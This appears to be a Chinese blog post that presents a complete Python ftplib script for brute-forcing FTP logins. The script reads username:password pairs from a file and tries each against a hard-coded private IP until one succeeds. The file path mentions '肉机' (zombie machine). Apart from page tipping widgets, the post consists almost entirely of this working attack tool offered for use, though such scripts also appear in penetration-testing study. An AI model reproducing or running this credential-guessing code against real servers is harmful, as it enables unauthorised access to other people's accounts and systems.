使用Ftplib暴力破解FTP用户口令

import ftplib

# 定义一个函数,用于尝试使用密码文件中的用户名和密码登录FTP服务器
def bruteLogin(hostname, passwdFile):
    # 使用with语句打开密码文件,确保文件在操作完成后自动关闭
    with open(passwdFile, 'r') as pF:
        for line in pF.readlines():  # 遍历文件中的每一行
            # 将每行按照冒号分割为用户名和密码
            userName, passWord = line.split(':')
            # 去除密码行尾的回车和换行符
            passWord = passWord.strip('\r').strip('\n')
            # 打印正在尝试的用户名和密码
            print("[+] Trying:" + userName + "/" + passWord)
            try:
                # 创建FTP对象,并尝试使用用户名和密码登录
                with ftplib.FTP(hostname) as ftp:
                    ftp.login(user=userName, passwd=passWord)
                    # 如果登录成功,打印成功消息,并返回用户名和密码
                    print('\n[*]' + str(hostname) + ' FTP Logon Succeeded: ' + userName + " / " + passWord)
                    return (userName, passWord)
            except Exception as e:  # 捕获并处理任何异常
                # 打印失败信息和异常原因
                print(f"\n[-] Failed to login with {userName}: {e}")

    # 如果所有密码都尝试失败,打印失败消息,并返回(None, None)
    print('\n[-] Could not brute force FTP credentials.')
    return (None, None)

# 指定要尝试登录的FTP服务器的IP地址
host = '192.168.95.179'
# 指定包含用户名和密码的文件路径
passwdFile = 'D:\Projects\pythonProject1\网络\肉机\用户密码.txt'
# 调用bruteLogin函数,并传入FTP服务器的IP地址和密码文件路径
bruteLogin(host, passwdFile)

输出结果:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

luky!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值